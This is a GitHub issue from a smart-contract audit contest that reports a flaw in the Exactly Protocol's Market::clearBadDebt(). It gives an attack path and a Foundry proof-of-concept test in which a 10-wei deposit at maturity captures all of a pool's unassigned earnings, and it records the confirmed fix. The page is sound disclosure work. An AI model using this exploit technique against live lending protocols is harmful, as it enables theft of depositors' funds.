Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

0x73696d616f - Liquidator will leave a pool with unassigned earnings on Market::clearBadDebt() free to claim for anyone when the repaid maturity is not the last #73

Open
sherlock-admin3 opened this issue Jul 25, 2024 · 4 comments
Labels
Medium A Medium severity issue. Reward A payout will be made for this issue Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed

Comments

@sherlock-admin3
Copy link
Contributor

sherlock-admin3 commented Jul 25, 2024

0x73696d616f

Medium

Liquidator will leave a pool with unassigned earnings on Market::clearBadDebt() free to claim for anyone when the repaid maturity is not the last

Summary

This issue remains from the last audit, only a partial fix was applied.

The issue is that in Market::clearBadDebt(), when a maturity is repaid, the unassigned earnings of this pool only go to the earnings accumulator when the last maturity is liquidated. However, if it's not the last maturity, the problem remains in case there is another borrowed maturity, and some user can claim these unassigned earnings just by supplying a few funds. Or if all floatingBackupBorrowed was due to the repaid maturity, and now it is 0, so users can borrow and deposit 1 wei to steal the unassigned earnings.

Root Cause

In Market:661, the earningsAccumulator is only increased [when](https://github.com/sherlock-audit/2024-07-exactly-stacking-contracts/blob/main/protocol/contracts/Market.sol#L652-L655) fixedPools[maturity].borrowed == position.principal. position.principalis always 0, asfixedBorrowPositions[maturity][borrower]has been deleted. Thus it will only assign the unassigned earnings whenfixedPools[maturity].borrowed` becomes null after a repayment. This means that as long as there are other borrowed maturities, the unassigned earnings may be stolen.

Internal pre-conditions

  1. Unassigned earnings must exist.
  2. Debt of fixed borrows has to exceed user's collateral.

External pre-conditions

None.

Attack Path

  1. Deposit funds to Market via Market::deposit() for the maturities to borrow, increasing floatingBackupBorrow and generating unassigned earnings.
  2. 1 maturity is borrowed which will be liquidated.
  3. At least 1 other maturity is borrowed so after liquidating the first, fixedPools[maturity].borrowed is not null.
  4. Liquidate one of the maturities, so the unassigned earnings resulting from this maturity will not go to the earningsAccumulator.
  5. Deposit at maturity to capture the unassigned earnings from both maturities, while only contributing liquidity to the other non liquidated one, which may be a dust amount, but the full unassigned earnings are captured to a single user.

Impact

Attacker can claim a lot of unassigned earnings just by depositing at maturity enough (may be as small as 1 wei) to cover remaining floatingBackupBorrowed.

PoC

Add the following POC to Market.t.sol, showing how a depositMaturity of 10 wei is enough to steal all unassigned maturities.

function test_POC_ClearBadDebt_StealMaturities() external {
  uint256 maxVal = type(uint256).max;

  marketWETH.deposit(100000 ether, address(this));
  marketWETH.borrowAtMaturity(4 weeks, 10000e18, maxVal, address(this), address(this));
  marketWETH.repayAtMaturity(4 weeks, maxVal, maxVal, address(this));

  vm.startPrank(BOB);
  market.deposit(100 ether, BOB);
  auditor.enterMarket(market);
  marketWETH.borrowAtMaturity(4 weeks, 60e18, maxVal, BOB, BOB);
  vm.stopPrank();

  vm.startPrank(ALICE);
  weth.mint(ALICE, 1_000_000 ether);
  weth.approve(address(marketWETH), type(uint256).max);
  marketWETH.deposit(10, ALICE);
  marketWETH.borrowAtMaturity(4 weeks, 1, maxVal, ALICE, ALICE);
  vm.stopPrank();

  daiPriceFeed.setPrice(0.6e18);

  (uint256 coll, uint256 debt) = marketWETH.accountSnapshot(BOB);
  console.log(debt);
  (coll, debt) = market.accountSnapshot(BOB);
  console.log(coll);

  vm.startPrank(ALICE);
  marketWETH.liquidate(BOB, 100_000 ether, market);
  vm.stopPrank();

  (, , uint256 unassignedEarningsAfter, ) = marketWETH.fixedPools(4 weeks);
  assertEq(unassignedEarningsAfter, 45028532887479452);

  address attacker = makeAddr("attacker");
  vm.startPrank(attacker);
  deal(address(weth), attacker, 10);
  weth.approve(address(marketWETH), 10);
  marketWETH.depositAtMaturity(4 weeks, 10, 0, attacker);
  vm.stopPrank();

  (, , unassignedEarningsAfter, ) = marketWETH.fixedPools(4 weeks);
  assertEq(unassignedEarningsAfter, 0);

  // Attacker gets all the unassigned earnings by contributing only 10 
  (uint256 principal, uint256 fee) = marketWETH.fixedDepositPositions(4 weeks, attacker);
  assertEq(principal, 10);
  assertEq(fee, 40525679598731507);
}

Mitigation

The unassigned earnings should be assigned to the earnings accumulator pro-rata to the floatingBackupBorrowed cleared in the bad debt clearance.

@github-actions github-actions bot added the Medium A Medium severity issue. label Jul 28, 2024
@sherlock-admin2 sherlock-admin2 changed the title Large Fuchsia Dove - Liquidator will leave a pool with unassigned earnings on Market::clearBadDebt() free to claim for anyone when the repaid maturity is not the last 0x73696d616f - Liquidator will leave a pool with unassigned earnings on Market::clearBadDebt() free to claim for anyone when the repaid maturity is not the last Aug 9, 2024
@sherlock-admin2 sherlock-admin2 added the Reward A payout will be made for this issue label Aug 9, 2024
@santichez
Copy link

Hi @0xsimao , the mitigation sentence seems a bit unclear. Could you please provide more detail or clarify it further? Thank you.

@sherlock-admin3 sherlock-admin3 added Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed labels Aug 12, 2024
@0xsimao
Copy link
Collaborator

0xsimao commented Aug 13, 2024

Hey @santichez, smth like this, but the yield goes to the earnings accumulator.

@sherlock-admin2
Copy link
Contributor

sherlock-admin2 commented Aug 13, 2024

The protocol team fixed this issue in the following PRs/commits:
exactly/protocol#755

@sherlock-admin2
Copy link
Contributor

The Lead Senior Watson signed off on the fix.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Medium A Medium severity issue. Reward A payout will be made for this issue Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed
Projects
None yet
Development

No branches or pull requests

4 participants